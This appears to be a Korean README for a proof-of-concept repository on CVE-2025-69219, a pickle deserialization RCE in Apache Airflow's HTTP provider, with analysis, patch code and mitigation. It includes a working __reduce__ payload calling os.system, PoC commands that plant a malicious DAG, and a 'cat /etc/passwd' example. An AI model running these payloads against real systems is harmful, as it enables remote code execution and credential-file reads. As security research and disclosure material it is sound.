
CVE-2025-69219에 대한 개념 증명 익스플로잇으로, 안전하지 않은 pickle 역직렬화를 통한 Apache Airflow Providers HTTP의 원격 코드 실행을 시연합니다. PoC 스크립트, 기술 분석, 완화 지침을 포함합니다.
심각도: 높음 (CVSS 3.1: 8.8)
벡터:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — 동적으로 관리되는 코드 리소스에 대한 부적절한 제어
영향받는 버전:apache-airflow-providers-http >= 5.1.0, < 6.0.0
수정 버전:apache-airflow-providers-http == 6.0.0
패치: apache/airflow#61662 · commit 97839f7
Apache Airflow의 HTTP 프로바이더는 지연(deferred) 태스크의 HTTP 트리거 응답을 직렬화하고 역직렬화하기 위해 Python의 pickle 모듈을 사용했습니다. HttpOperator.execute_complete()의 취약한 싱크(sink)는 다음과 같았습니다:
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
event 딕셔너리(dictionary)는 Airflow 데이터베이스에서 읽히므로, DB 쓰기 권한이 있는 모든 주체(principal)는 악성 pickle 페이로드를 심을 수 있습니다. Triggerer 워커가 지연 태스크를 처리할 때, 해당 페이로드를 검증 없이 역직렬화하여 Triggerer 프로세스의 권한으로 임의의 OS 명령을 실행합니다 — 이는 DAG 작성자(DAG Author)와 동일한 권한입니다.
신뢰할 수 없는 데이터에 대한 pickle.loads()는 본질적으로 안전하지 않은 연산입니다. Pickle의 __reduce__ 프로토콜은 직렬화된 blob에 임의의 Python 호출 가능(callable) 객체가 포함되도록 허용하며, 샌드박싱 없이 역직렬화 중에 이를 호출할 수 있게 합니다.
Airflow Triggerer는 완료 시점에 HTTP 응답을 직렬화하여 DB에 저장합니다:
# triggers/http.py (pre-patch)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
DB 레벨의 공격자는 이 값을 조작된 pickle blob으로 교체합니다. 예:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
그러면 Triggerer가 execute_complete → pickle.loads() → RCE를 호출합니다.
이 패치는 pickle을 안전하고 명시적인 JSON 직렬화기로 완전히 대체합니다:
# triggers/http.py (post-patch)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # JSON dict
})
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
새로운 역직렬화기는 알려진 필드(status_code, headers, content 등)에서만 requests.Response 객체를 재구성하므로, 임의 코드 실행은 불가능합니다.
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
취약한 pickle.loads() 호출을 프로세스 내에서 재현합니다:
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"
예제 출력:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"
# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc
명령 출력은 태스크 로그에서 확인하세요.
python poc.py --show-payload --cmd "cat /etc/passwd"
| 요인 | 세부 사항 |
|---|---|
| 악용 가능 대상 | Airflow DB에 직접 쓰기 권한이 있는 모든 사용자 |
| 실행 컨텍스트 | Triggerer 워커 프로세스 (DAG 작성자와 동일한 권한) |
| 발생 가능성 | 낮음 — 올바르게 구성된 배포 환경에서는 직접 DB 접근이 비표준적임 |
| 피해 범위 | Triggerer 노드에서의 전체 호스트 RCE: 데이터 유출, 횡적 이동, 지속성 |
apache-airflow-providers-http를 6.0.0 이상으로 업그레이드하세요.deferrable=True)가 완료되었거나 정리되었는지 확인하세요. 업그레이드 후에는 pickle로 직렬화된 진행 중(in-flight) 태스크가 TypeError를 발생시키기 때문입니다(프로바이더 변경 로그에 문서화된 비호환 변경 사항).pip install "apache-airflow-providers-http>=6.0.0"
| 날짜 | 이벤트 |
|---|---|
| 2026-03-09 | Apache Software Foundation이 CVE 공개 |
| 2026-03-09 | 수정 사항 병합 (PR #61662, commit 97839f7) |
| 2026-03-09 | oss-security 메일링 리스트에 공개 |
이 저장소의 PoC는 @ahmetartuc의 원본 작업을 기반으로 합니다.
이 개념 증명(PoC)은 교육 및 보안 연구 목적으로만 게시되었습니다. 소유한 시스템 또는 명시적인 서면 승인을 받은 시스템에 대해서만 테스트하십시오. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.